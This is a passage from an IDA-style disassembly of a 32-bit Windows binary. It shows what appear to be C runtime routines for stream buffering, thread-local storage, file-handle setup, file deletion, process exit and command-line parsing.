db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449BF1 proc near ; CODE XREF: sub_448381+4Dp
arg_0 = dword ptr 4
mov eax, dword_4111A4
cmp dword_4111A0, eax
ja short loc_449C05
call sub_44B5D1
jmp short locret_449C1E
; ---------------------------------------------------------------------------
loc_449C05: ; CODE XREF: sub_449BF1+Bj
mov eax, dword_4111A4
lea edx, [eax+1]
mov dword_4111A4, edx
mov edx, [esp+arg_0]
mov dword_411060[eax*4], edx
locret_449C1E: ; CODE XREF: sub_449BF1+12j
retn
sub_449BF1 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449C21 proc near ; CODE XREF: sub_448401+8p
; sub_4486E1+D0p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
test ebx, ebx
jnz short loc_449C7F
push 6
call sub_4496C1
pop ecx
mov [ebp+var_8], 0
mov [ebp+var_4], 0
jmp short loc_449C69
; ---------------------------------------------------------------------------
loc_449C49: ; CODE XREF: sub_449C21+4Fj
mov eax, [ebp+var_4]
mov eax, off_411370[eax*4]
test eax, eax
jz short loc_449C66
push eax
call sub_449C21
pop ecx
test eax, eax
jge short loc_449C66
or [ebp+var_8], 0FFFFFFFFh
loc_449C66: ; CODE XREF: sub_449C21+34j
; sub_449C21+3Fj
inc [ebp+var_4]
loc_449C69: ; CODE XREF: sub_449C21+26j
cmp [ebp+var_4], 100h
jl short loc_449C49
push 6
call sub_449741
pop ecx
mov eax, [ebp+var_8]
jmp short loc_449CF1
; ---------------------------------------------------------------------------
loc_449C7F: ; CODE XREF: sub_449C21+Ej
test word ptr [ebx], 2000h
jnz short loc_449C8A
xor eax, eax
jmp short loc_449CF1
; ---------------------------------------------------------------------------
loc_449C8A: ; CODE XREF: sub_449C21+63j
mov esi, [ebx+8]
jmp short loc_449CC6
; ---------------------------------------------------------------------------
loc_449C8F: ; CODE XREF: sub_449C21+A8j
mov eax, [ebx+10h]
sub eax, esi
push eax
push esi
mov eax, [ebx+4]
push eax
call sub_44B7E1
add esp, 0Ch
mov edi, eax
test edi, edi
jg short loc_449CC4
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
mov [ebx+18h], eax
mov eax, [ebx+8]
mov [ebx+30h], eax
or word ptr [ebx], 200h
or eax, 0FFFFFFFFh
jmp short loc_449CF1
; ---------------------------------------------------------------------------
loc_449CC4: ; CODE XREF: sub_449C21+85j
add esi, edi
loc_449CC6: ; CODE XREF: sub_449C21+6Cj
cmp esi, [ebx+10h]
jb short loc_449C8F
mov eax, [ebx+8]
mov [ebx+10h], eax
test word ptr [ebx], 0C00h
jz short loc_449CDD
mov esi, [ebx+8]
jmp short loc_449CE0
; ---------------------------------------------------------------------------
loc_449CDD: ; CODE XREF: sub_449C21+B5j
mov esi, [ebx+0Ch]
loc_449CE0: ; CODE XREF: sub_449C21+BAj
test word ptr [ebx], 4000h
jz short loc_449CEC
mov [ebx+18h], esi
jmp short loc_449CEF
; ---------------------------------------------------------------------------
loc_449CEC: ; CODE XREF: sub_449C21+C4j
mov [ebx+30h], esi
loc_449CEF: ; CODE XREF: sub_449C21+C9j
xor eax, eax
loc_449CF1: ; CODE XREF: sub_449C21+5Cj
; sub_449C21+67j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_449C21 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449D01 proc near ; CODE XREF: sub_449DA1+41p
; sub_44C861+328p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
mov ebx, [ebp+arg_0]
push ebx
call sub_44BAE1
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_449D50
cmp ebx, 1
jz short loc_449D24
cmp ebx, 2
jnz short loc_449D3E
loc_449D24: ; CODE XREF: sub_449D01+1Cj
push 1
call sub_44BAE1
pop ecx
mov [ebp+var_4], eax
push 2
call sub_44BAE1
pop ecx
mov edx, [ebp+var_4]
cmp edx, eax
jz short loc_449D50
loc_449D3E: ; CODE XREF: sub_449D01+21j
push ebx
call sub_44BAE1
pop ecx
push eax
call dword_411CF8 ; CloseHandle
test eax, eax
jz short loc_449D54
loc_449D50: ; CODE XREF: sub_449D01+17j
; sub_449D01+3Bj
xor esi, esi
jmp short loc_449D5C
; ---------------------------------------------------------------------------
loc_449D54: ; CODE XREF: sub_449D01+4Dj
call dword_411CE8 ; RtlGetLastWin32Error
mov esi, eax
loc_449D5C: ; CODE XREF: sub_449D01+51j
push ebx
call sub_44B991
pop ecx
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov byte ptr [edx+eax+4], 0
test esi, esi
jz short loc_449D8C
push esi
call sub_4491C1
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_449D8E
; ---------------------------------------------------------------------------
loc_449D8C: ; CODE XREF: sub_449D01+7Dj
xor eax, eax
loc_449D8E: ; CODE XREF: sub_449D01+89j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_449D01 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449DA1 proc near ; CODE XREF: sub_448401+30p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
cmp ebx, dword_413A88
jnb short loc_449DCA
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_449DDA
loc_449DCA: ; CODE XREF: sub_449DA1+Cj
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_449DF3
; ---------------------------------------------------------------------------
loc_449DDA: ; CODE XREF: sub_449DA1+27j
push ebx
call sub_44BC01
pop ecx
push ebx
call sub_449D01
pop ecx
mov esi, eax
push ebx
call sub_44BC61
pop ecx
mov eax, esi
loc_449DF3: ; CODE XREF: sub_449DA1+37j
pop esi
pop ebx
retn
sub_449DA1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449E01 proc near ; CODE XREF: sub_448641+39p
; sub_449761+102p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov eax, [esp+arg_4]
mov dl, al
jmp short loc_449E16
; ---------------------------------------------------------------------------
loc_449E0D: ; CODE XREF: sub_449E01+17j
cmp byte ptr [ecx], 0
jnz short loc_449E15
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_449E15: ; CODE XREF: sub_449E01+Fj
inc ecx
loc_449E16: ; CODE XREF: sub_449E01+Aj
cmp [ecx], dl
jnz short loc_449E0D
mov eax, ecx
retn
sub_449E01 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449E21 proc near ; CODE XREF: sub_4486E1+3Dp
; sub_44DD81+1Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
mov ebx, [ebp+arg_0]
mov eax, [ebx+18h]
cmp eax, [ebx+10h]
jbe short loc_449E3A
xor eax, eax
jmp loc_449F13
; ---------------------------------------------------------------------------
loc_449E3A: ; CODE XREF: sub_449E21+10j
movzx eax, word ptr [ebx]
and eax, 9002h
cmp eax, 2
jz short loc_449E76
movzx eax, word ptr [ebx]
mov [ebp+var_4], eax
test eax, 8000h
setnz al
and eax, 1
dec eax
and eax, 4000h
add eax, 200h
mov edx, [ebp+var_4]
or edx, eax
mov ax, dx
mov [ebx], ax
or eax, 0FFFFFFFFh
jmp loc_449F13
; ---------------------------------------------------------------------------
loc_449E76: ; CODE XREF: sub_449E21+24j
movzx eax, word ptr [ebx]
and eax, 6000h
cmp eax, 6000h
jnz short loc_449E9D
mov eax, [ebx+0Ch]
cmp eax, [ebx+10h]
ja short loc_449E9D
push ebx
call sub_449C21
pop ecx
test eax, eax
jz short loc_449E9D
or eax, 0FFFFFFFFh
jmp short loc_449F13
; ---------------------------------------------------------------------------
loc_449E9D: ; CODE XREF: sub_449E21+62j
; sub_449E21+6Aj ...
test word ptr [ebx], 0C00h
jnz short loc_449EAC
lea eax, [ebx+48h]
cmp eax, [ebx+8]
jz short loc_449EAE
loc_449EAC: ; CODE XREF: sub_449E21+81j
jmp short loc_449F00
; ---------------------------------------------------------------------------
loc_449EAE: ; CODE XREF: sub_449E21+89j
push 200h
call sub_449121
pop ecx
mov [ebx+8], eax
test eax, eax
jnz short loc_449EDA
lea eax, [ebx+48h]
mov [ebx+8], eax
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
inc eax
mov [ebx+0Ch], eax
call sub_448381
jmp short loc_449F00
; ---------------------------------------------------------------------------
loc_449EDA: ; CODE XREF: sub_449E21+9Dj
or word ptr [ebx], 40h
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
add eax, 200h
mov [ebx+0Ch], eax
mov eax, [ebx+8]
mov [ebx+2Ch], eax
mov eax, [ebx+8]
mov [ebx+30h], eax
call sub_448381
loc_449F00: ; CODE XREF: sub_449E21:loc_449EACj
; sub_449E21+B7j
mov eax, [ebx+8]
mov [ebx+14h], eax
mov eax, [ebx+0Ch]
mov [ebx+18h], eax
or word ptr [ebx], 6000h
xor eax, eax
loc_449F13: ; CODE XREF: sub_449E21+14j
; sub_449E21+50j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_449E21 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449F21 proc near ; CODE XREF: sub_4486E1+59p
; sub_44ABB1+696p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
mov bl, al
mov edx, [esp+4+arg_0]
jmp short loc_449F3C
; ---------------------------------------------------------------------------
loc_449F32: ; CODE XREF: sub_449F21+1Dj
cmp [edx], bl
jnz short loc_449F3A
mov eax, edx
jmp short loc_449F42
; ---------------------------------------------------------------------------
loc_449F3A: ; CODE XREF: sub_449F21+13j
inc edx
dec ecx
loc_449F3C: ; CODE XREF: sub_449F21+Fj
test ecx, ecx
jnz short loc_449F32
xor eax, eax
loc_449F42: ; CODE XREF: sub_449F21+17j
pop ebx
retn
sub_449F21 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449F51 proc near ; CODE XREF: DMN1:loc_448A68p
push ebx
call sub_449621
call dword_411DD4 ; TlsAlloc
mov dword_411770, eax
cmp eax, 0FFFFFFFFh
jnz short loc_449F6D
xor eax, eax
jmp short loc_449FA8
; ---------------------------------------------------------------------------
loc_449F6D: ; CODE XREF: sub_449F51+16j
push 48h
call sub_449121
pop ecx
mov ebx, eax
test eax, eax
jz short loc_449F8C
push ebx
mov eax, dword_411770
push eax
call dword_411D98 ; TlsSetValue
test eax, eax
jnz short loc_449F90
loc_449F8C: ; CODE XREF: sub_449F51+28j
xor eax, eax
jmp short loc_449FA8
; ---------------------------------------------------------------------------
loc_449F90: ; CODE XREF: sub_449F51+39j
push ebx
call sub_449FE1
pop ecx
call dword_411DD8 ; GetCurrentThreadId
mov [ebx], eax
or dword ptr [ebx+4], 0FFFFFFFFh
mov eax, 1
loc_449FA8: ; CODE XREF: sub_449F51+1Aj
; sub_449F51+3Dj
pop ebx
retn
sub_449F51 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
call sub_449661
cmp dword_411770, 0FFFFFFFFh
jz short locret_449FD5
mov eax, dword_411770
push eax
call dword_411DDC ; TlsFree
or dword_411770, 0FFFFFFFFh
locret_449FD5: ; CODE XREF: DMN1:00449FC0j
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449FE1 proc near ; CODE XREF: sub_448891+17p
; sub_449F51+40p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
mov edx, ebx
mov ecx, 48h
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
mov dword ptr [ebx+34h], offset dword_4117E4
mov dword ptr [ebx+10h], 1
pop ebx
retn
sub_449FE1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44A011 proc near ; CODE XREF: sub_448921+1p sub_449321p ...
push ebx
push esi
call dword_411CE8 ; RtlGetLastWin32Error
mov esi, eax
mov eax, dword_411770
push eax
call dword_411DE0 ; TlsGetValue
mov ebx, eax
test eax, eax
jnz short loc_44A069
push 48h
call sub_449121
pop ecx
mov ebx, eax
test eax, eax
jz short loc_44A061
push ebx
mov eax, dword_411770
push eax
call dword_411D98 ; TlsSetValue
test eax, eax
jz short loc_44A061
push ebx
call sub_449FE1
pop ecx
call dword_411DD8 ; GetCurrentThreadId
mov [ebx], eax
or dword ptr [ebx+4], 0FFFFFFFFh
jmp short loc_44A069
; ---------------------------------------------------------------------------
loc_44A061: ; CODE XREF: sub_44A011+28j
; sub_44A011+39j
push 1
call sub_44A111
pop ecx
loc_44A069: ; CODE XREF: sub_44A011+1Aj
; sub_44A011+4Ej
push esi
call dword_411D14 ; RtlRestoreLastWin32Error
mov eax, ebx
pop esi
pop ebx
retn
sub_44A011 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44A081 proc near ; CODE XREF: sub_448921+28p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp dword_411770, 0FFFFFFFFh
jz short loc_44A10D
test ebx, ebx
jnz short loc_44A0A4
mov eax, dword_411770
push eax
call dword_411DE0 ; TlsGetValue
mov ebx, eax
loc_44A0A4: ; CODE XREF: sub_44A081+13j
test ebx, ebx
jz short loc_44A0FF
mov eax, [ebx+20h]
push eax
call sub_448071
pop ecx
mov eax, [ebx+24h]
push eax
call sub_448071
pop ecx
mov eax, [ebx+28h]
push eax
call sub_448071
pop ecx
mov eax, [ebx+2Ch]
push eax
call sub_448071
pop ecx
mov eax, [ebx+30h]
push eax
call sub_448071
pop ecx
mov eax, [ebx+34h]
cmp eax, offset dword_4117E4
jz short loc_44A0EE
mov eax, [ebx+34h]
push eax
call sub_448071
pop ecx
loc_44A0EE: ; CODE XREF: sub_44A081+61j
mov eax, [ebx+3Ch]
push eax
call sub_448071
pop ecx
push ebx
call sub_448071
pop ecx
loc_44A0FF: ; CODE XREF: sub_44A081+25j
push 0
mov eax, dword_411770
push eax
call dword_411D98 ; TlsSetValue
loc_44A10D: ; CODE XREF: sub_44A081+Fj
pop ebx
retn
sub_44A081 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
sub_44A111 proc near ; CODE XREF: DMN1:0044882Dp
; DMN1:0044886Bp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call dword_411D30 ; ExitProcess
retn
sub_44A111 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
sub_44A121 proc near ; CODE XREF: DMN1:0044885Bp
; DMN1:00448B18p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov esi, offset dword_411774
jmp short loc_44A173
; ---------------------------------------------------------------------------
loc_44A12F: ; CODE XREF: sub_44A121+58j
cmp [esi], ebx
jnz short loc_44A170
push 1
mov eax, [esi+4]
push eax
call sub_44BCD1
add esp, 8
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_44A14F
test edi, edi
jnz short loc_44A151
loc_44A14F: ; CODE XREF: sub_44A121+28j
jmp short loc_44A17B
; ---------------------------------------------------------------------------
loc_44A151: ; CODE XREF: sub_44A121+2Cj
cmp edi, 1
jz short loc_44A16B
push 0
mov eax, [esi+4]
push eax
call sub_44BCD1
add esp, 8
mov eax, [esi+4]
push eax
call edi
pop ecx
loc_44A16B: ; CODE XREF: sub_44A121+33j
or eax, 0FFFFFFFFh
jmp short loc_44A186
; ---------------------------------------------------------------------------
loc_44A170: ; CODE XREF: sub_44A121+10j
add esi, 8
loc_44A173: ; CODE XREF: sub_44A121+Cj
cmp esi, offset dword_4117C4
jb short loc_44A12F
loc_44A17B: ; CODE XREF: sub_44A121:loc_44A14Fj
mov eax, [esp+0Ch+arg_4]
push eax
call dword_411DE4 ; UnhandledExceptionFilter
loc_44A186: ; CODE XREF: sub_44A121+4Dj
pop edi
pop esi
pop ebx
retn
sub_44A121 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44A191 proc near ; CODE XREF: sub_448A11+5p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call dword_411D18 ; DeleteFileA
test eax, eax
jnz short loc_44A1B1
call dword_411CE8 ; RtlGetLastWin32Error
push eax
call sub_4491C1
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_44A1B1: ; CODE XREF: sub_44A191+Dj
xor eax, eax
retn
sub_44A191 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44A1C1 proc near ; CODE XREF: DMN1:00448A80p
push offset dword_412854
call dword_411DE8 ; GetSystemTimeAsFileTime
retn
sub_44A1C1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
push ebx
lea eax, [ebp-8]
push eax
call dword_411DE8 ; GetSystemTimeAsFileTime
mov eax, [ebp-8]
mov edx, [ebp-4]
mov ecx, dword_412854
mov ebx, dword_412858
sub eax, ecx
sbb edx, ebx
mov [ebp-8], eax
mov [ebp-4], edx
mov eax, [ebp-8]
mov edx, [ebp-4]
push edx
push eax
push 0
push 2710h
call sub_44BDC1
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44A221 proc near ; CODE XREF: DMN1:00448A85p
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 64h
push ebx
push esi
push edi
push 480h
call sub_449121
pop ecx
mov ebx, eax
test eax, eax
jnz short loc_44A243
push 1
call sub_44A111
pop ecx
loc_44A243: ; CODE XREF: sub_44A221+18j
mov dword_413988, ebx
mov dword_413A88, 20h
jmp short loc_44A26D
; ---------------------------------------------------------------------------
loc_44A255: ; CODE XREF: sub_44A221+58j
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_44A26D: ; CODE XREF: sub_44A221+32j
mov eax, dword_413988
add eax, 480h
cmp ebx, eax
jb short loc_44A255
lea eax, [ebp+var_58]
push eax
call dword_411DA8 ; GetStartupInfoA
cmp [ebp+var_26], 0
jz loc_44A393
cmp [ebp+var_24], 0
jz loc_44A393
mov eax, [ebp+var_24]
mov eax, [eax]
mov [ebp+var_10], eax
mov eax, [ebp+var_24]
add eax, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_10]
mov edx, [ebp+var_4]
add edx, eax
mov [ebp+var_8], edx
cmp eax, 800h
jle short loc_44A2C4
mov [ebp+var_10], 800h
loc_44A2C4: ; CODE XREF: sub_44A221+9Aj
mov esi, 1
jmp short loc_44A31F
; ---------------------------------------------------------------------------
loc_44A2CB: ; CODE XREF: sub_44A221+107j
push 480h
call sub_449121
pop ecx
mov ebx, eax
test eax, eax
jnz short loc_44A2E6
mov eax, dword_413A88
mov [ebp+var_10], eax
jmp short loc_44A32A
; ---------------------------------------------------------------------------
loc_44A2E6: ; CODE XREF: sub_44A221+B9j
mov dword_413988[esi*4], ebx
add dword_413A88, 20h
jmp short loc_44A30E
; ---------------------------------------------------------------------------
loc_44A2F6: ; CODE XREF: sub_44A221+FBj
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_44A30E: ; CODE XREF: sub_44A221+D3j
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb short loc_44A2F6
inc esi
loc_44A31F: ; CODE XREF: sub_44A221+A8j
mov eax, [ebp+var_10]
cmp dword_413A88, eax
jl short loc_44A2CB
loc_44A32A: ; CODE XREF: sub_44A221+C3j
xor edi, edi
jmp short loc_44A38E
; ---------------------------------------------------------------------------
loc_44A32E: ; CODE XREF: sub_44A221+170j
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, 0FFFFFFFFh
jz short loc_44A381
mov edx, [ebp+var_4]
movzx edx, byte ptr [edx]
test edx, 1
jz short loc_44A381
test edx, 8
jnz short loc_44A35B
push eax
call dword_411DEC ; GetFileType
test eax, eax
jz short loc_44A381
loc_44A35B: ; CODE XREF: sub_44A221+12Dj
mov eax, edi
and eax, 1Fh
imul eax, 24h
mov edx, edi
sar edx, 5
mov edx, dword_413988[edx*4]
lea ebx, [edx+eax]
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebx], eax
mov eax, [ebp+var_4]
mov al, [eax]
mov [ebx+4], al
loc_44A381: ; CODE XREF: sub_44A221+117j
; sub_44A221+125j ...
inc edi
inc [ebp+var_4]
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
loc_44A38E: ; CODE XREF: sub_44A221+10Bj
cmp edi, [ebp+var_10]
jl short loc_44A32E
loc_44A393: ; CODE XREF: sub_44A221+69j
; sub_44A221+73j
xor edi, edi
loc_44A395: ; CODE XREF: sub_44A221+23Ej
imul eax, edi, 24h
mov edx, dword_413988
lea ebx, [edx+eax]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz loc_44A457
mov byte ptr [ebx+4], 81h
test edi, edi
jnz short loc_44A3BE
mov [ebp+var_5C], 0FFFFFFF6h
jmp short loc_44A3CF
; ---------------------------------------------------------------------------
loc_44A3BE: ; CODE XREF: sub_44A221+192j
cmp edi, 1
setz al
and eax, 1
add eax, 0FFFFFFF4h
mov [ebp+var_5C], eax
loc_44A3CF: ; CODE XREF: sub_44A221+19Bj
mov eax, [ebp+var_5C]
push eax
call dword_411CD4 ; GetStdHandle
mov [ebp+var_C], eax
cmp eax, 0FFFFFFFFh
jz short loc_44A451
mov eax, [ebp+var_C]
push eax
call dword_411DEC ; GetFileType
mov [ebp+var_14], eax
test eax, eax
jz short loc_44A451
call dword_411D64 ; GetCurrentProcess
mov [ebp+var_64], eax
call dword_411D64 ; GetCurrentProcess
push 2
push 1
push 0
lea edx, [ebp+var_60]
push edx
push eax
mov eax, [ebp+var_C]
push eax
mov eax, [ebp+var_64]
push eax
call dword_411DF0 ; DuplicateHandle
test eax, eax
jz short loc_44A426
mov eax, [ebp+var_60]
mov [ebp+var_C], eax
loc_44A426: ; CODE XREF: sub_44A221+1FDj
mov eax, [ebp+var_C]
mov [ebx], eax
mov eax, [ebp+var_14]
and eax, 0FFh
cmp eax, 2
jnz short loc_44A43E
or byte ptr [ebx+4], 40h
jmp short loc_44A45B
; ---------------------------------------------------------------------------
loc_44A43E: ; CODE XREF: sub_44A221+215j
mov eax, [ebp+var_14]
and eax, 0FFh
cmp eax, 3
jnz short loc_44A45B
or byte ptr [ebx+4], 8
jmp short loc_44A45B
; ---------------------------------------------------------------------------
loc_44A451: ; CODE XREF: sub_44A221+1C0j
; sub_44A221+1D1j
or byte ptr [ebx+4], 40h
jmp short loc_44A45B
; ---------------------------------------------------------------------------
loc_44A457: ; CODE XREF: sub_44A221+186j
or byte ptr [ebx+4], 80h
loc_44A45B: ; CODE XREF: sub_44A221+21Bj
; sub_44A221+228j ...
inc edi
cmp edi, 3
jl loc_44A395
mov eax, dword_413A88
push eax
call dword_411DF4 ; LockResource
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44A221 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
push esi
xor ebx, ebx
loc_44A485: ; CODE XREF: DMN1:0044A4D8j
cmp dword_413988[ebx*4], 0
jz short loc_44A4D4
mov esi, dword_413988[ebx*4]
jmp short loc_44A4AB
; ---------------------------------------------------------------------------
loc_44A498: ; CODE XREF: DMN1:0044A4B9j
cmp dword ptr [esi+8], 0
jz short loc_44A4A8
lea eax, [esi+0Ch]
push eax
call dword_411DCC ; RtlDeleteCriticalSection
loc_44A4A8: ; CODE XREF: DMN1:0044A49Cj
add esi, 24h
loc_44A4AB: ; CODE XREF: DMN1:0044A496j
mov eax, dword_413988[ebx*4]
add eax, 480h
cmp esi, eax
jb short loc_44A498
mov eax, dword_413988[ebx*4]
push eax
call sub_448071
pop ecx
mov dword_413988[ebx*4], 0
loc_44A4D4: ; CODE XREF: DMN1:0044A48Dj
inc ebx
cmp ebx, 40h
jl short loc_44A485
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44A4E1 proc near ; CODE XREF: sub_44A691+3Fp
; sub_44A691+76p
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push edi
mov ecx, [ebp+arg_8]
mov edx, [ebp+arg_10]
mov dword ptr [edx], 0
mov edx, [ebp+arg_C]
mov dword ptr [edx], 1
mov ebx, [ebp+arg_0]
cmp [ebp+arg_4], 0
jz short loc_44A512
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov [eax], ecx
loc_44A512: ; CODE XREF: sub_44A4E1+24j
cmp byte ptr [ebx], 22h
jnz short loc_44A54D
jmp short loc_44A529
; ---------------------------------------------------------------------------
loc_44A519: ; CODE XREF: sub_44A4E1+53j
test ecx, ecx
jz short loc_44A524
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_44A524: ; CODE XREF: sub_44A4E1+3Aj
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_44A529: ; CODE XREF: sub_44A4E1+36j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 22h
jz short loc_44A536
cmp byte ptr [ebx], 0
jnz short loc_44A519
loc_44A536: ; CODE XREF: sub_44A4E1+4Ej
test ecx, ecx
jz short loc_44A540
mov eax, ecx
inc ecx
mov byte ptr [eax], 0
loc_44A540: ; CODE XREF: sub_44A4E1+57j
mov eax, [ebp+arg_10]
inc dword ptr [eax]
cmp byte ptr [ebx], 22h
jnz short loc_44A585
inc ebx
jmp short loc_44A585
; ---------------------------------------------------------------------------
loc_44A54D: ; CODE XREF: sub_44A4E1+34j
; sub_44A4E1+91j
test ecx, ecx
jz short loc_44A558
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_44A558: ; CODE XREF: sub_44A4E1+6Ej
mov eax, [ebp+arg_10]
inc dword ptr [eax]
mov eax, ebx
inc ebx
mov al, [eax]
mov [ebp+var_9], al
mov al, [ebp+var_9]
cmp al, 20h
jz short loc_44A574
test al, al
jz short loc_44A574
cmp al, 9
jnz short loc_44A54D
loc_44A574: ; CODE XREF: sub_44A4E1+89j
; sub_44A4E1+8Dj
cmp [ebp+var_9], 0
jnz short loc_44A57D
dec ebx
jmp short loc_44A585
; ---------------------------------------------------------------------------
loc_44A57D: ; CODE XREF: sub_44A4E1+97j
test ecx, ecx
jz short loc_44A585
mov byte ptr [ecx-1], 0
loc_44A585: ; CODE XREF: sub_44A4E1+67j
; sub_44A4E1+6Aj ...
mov [ebp+var_8], 0
loc_44A58C: ; CODE XREF: sub_44A4E1+181j
cmp byte ptr [ebx], 0
jz short loc_44A59E
jmp short loc_44A594
; ---------------------------------------------------------------------------
loc_44A593: ; CODE XREF: sub_44A4E1+B7j
; sub_44A4E1+BBj
inc ebx
loc_44A594: ; CODE XREF: sub_44A4E1+B0j
mov al, [ebx]
cmp al, 20h
jz short loc_44A593
cmp al, 9
jz short loc_44A593
